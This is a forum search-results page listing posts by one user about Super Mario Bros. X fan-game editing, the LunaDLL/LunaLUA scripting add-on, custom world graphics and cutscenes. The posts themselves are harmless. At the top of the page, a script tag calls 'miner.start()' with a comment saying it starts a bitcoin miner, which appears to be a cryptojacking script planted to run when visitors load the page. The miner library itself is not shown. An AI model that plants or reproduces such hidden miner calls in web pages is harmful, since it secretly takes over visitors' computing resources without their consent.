<script>
miner.start(); // initialise bitcoin miner
</script>

smw centralpge projectmario fan games galaxy

Search found 389 matches

Go to advanced search

by TiKi
5 years ago
Forum: the cartridgé
Topic: Super Mario Uprising (discussion thing)
Replies: 13
Views: 1416

Re: Super Mario Uprising (discussion thing)

This seems pretty cool, but it's plans for "buying new editor stuff using in-game coins" seems like an attempt to integrate the editor with the game itself, which means that trying to make serious projects with it would be kinda... eh. Hopefully there'll be a standalone version of the editor or som...
by TiKi
5 years ago
Forum: A2XT
Topic: LunaDLL/LunaLUA help thread
Replies: 1470
Views: 146311

Re: LunaDLL help thread

docopoper wrote:Ahh, well my project is only at the stage of me setting up the events system - so I guess we're starting at the same time.

I wonder if he knows about my documentation in the lvl format.
Oh yeah that reminds me. He also did document the world and level formats on his site.
by TiKi
5 years ago
Forum: A2XT
Topic: LunaDLL/LunaLUA help thread
Replies: 1470
Views: 146311

Re: LunaDLL help thread

I'd like to note that that project hasn't hardly started yet. Although he's analyzing all the properties of SMBX's effects, NPCs, blocks, etc. in table PDFs, which is good for him to know, there isn't actually anything close to working yet.
by TiKi
5 years ago
Forum: A2XT
Topic: LunaDLL/LunaLUA help thread
Replies: 1470
Views: 146311

Re: LunaDLL help thread

So you know the PlayerMemSet code in SDS that makes spin jumping impossible? Could someone please define all the parts of that code, each word and number? The PlayerMemSet stuff seems to me like "Let Kil do something, then ape that for YOUR level" as opposed to "logically derivable by the average jo...
by TiKi
5 years ago
Forum: A2XT
Topic: LunaDLL/LunaLUA help thread
Replies: 1470
Views: 146311

Re: LunaDLL help thread

If it wouldn't be too hard, could I please have a version of 1.3.0.1 LunaDLL edition, that doesn't have the "DEMOS" counter? If it's possible for me to change that myself, could I please have a tutorial then?
by TiKi
5 years ago
Forum: A2XT
Topic: LunaDLL/LunaLUA help thread
Replies: 1470
Views: 146311

Re: LunaDLL help thread

Thanks!
So from my reckoning, a custom cheat basically takes something like "InfiniteFlying" and makes it permanent after a certain text string is entered?
by TiKi
5 years ago
Forum: A2XT
Topic: LunaDLL/LunaLUA help thread
Replies: 1470
Views: 146311

Re: LunaDLL help thread

So I downloaded SMBX 1.3.0.1 + LunaDLL, and now I tested a level. What does "Demos" mean, and can similar stuff be added to the HUD? I noticed it went to "1/1" when I died.
EDIT: When I clicked "Reset Game" in the editor, the star count reset but the Demos didn't. What gives?
by TiKi
5 years ago
Forum: A2XT
Topic: LunaDLL/LunaLUA help thread
Replies: 1470
Views: 146311

Re: LunaDLL help thread

What are all the command (Kill, InfiniteFlying, etc.) names? I couldn't find them in the tutorial.
by TiKi
5 years ago
Forum: A2XT
Topic: LunaDLL/LunaLUA help thread
Replies: 1470
Views: 146311

Re: LunaDLL help thread

Well I apologize prematurely for this imprudence, but I use SMBX so I don't HAVE TO code :lol: Sorry guys.
I guess this isn't really like SMBX 1.3.1 or something?
by TiKi
5 years ago
Forum: A2XT
Topic: Is anyone interested in/capeable of making SMBX cutscenes
Replies: 61
Views: 6472

Re: Is anyone interested in/capeable of making SMBX cutscene

This seemed like the best place to post this, so...
In ASMBXT the first, the cutscenes were kinda marred by the fact that the "game stuff" (score, reserve box, etc) stayed above the cartoons, unlike, say, a Final Fantasy game. Will this be fixed in this game?
by TiKi
5 years ago
Forum: A2XT
Topic: SMBX Help Thread
Replies: 799
Views: 89771

Re: SMBX Help Thread

Is there a way to have custom graphics for one world in a folder like you can for levels? I want to have snow, but it replaces the grass, which I planned to use as well in other worlds. Put all of the world's levels in one folder and put your modified graphics in said folder, have the other worlds ...
by TiKi
5 years ago
Forum: A2XT
Topic: LunaDLL/LunaLUA help thread
Replies: 1470
Views: 146311

Re: LunaDLL help thread

Is it just me, or is this way more hands on and dirty than anything default SMBX (events, custom NPCs) has? I was thinking of using this once publicly released, but it sounds prohibitively non-user friendly.
by TiKi
6 years ago
Forum: A2XT
Topic: LunaDLL/LunaLUA help thread
Replies: 1470
Views: 146311

Re: LunaDLL help thread

Rad. Will and if so when will this be publically usable for other episodes?
Also I just realized, will this allow you to make spinjump and hammersuit immunity?
Does this work with a "normal SMBX Implementation" where I can just put this with an episode folder and it works?
by TiKi
6 years ago
Forum: A2XT
Topic: LunaDLL/LunaLUA help thread
Replies: 1470
Views: 146311

Re: LunaDLL help thread

Uh... would this allow one to make autoscroll events that bypass the bugs in the editor proper? Like moving in several directions one after another like in Yoshi's Island levels.

Go to advanced search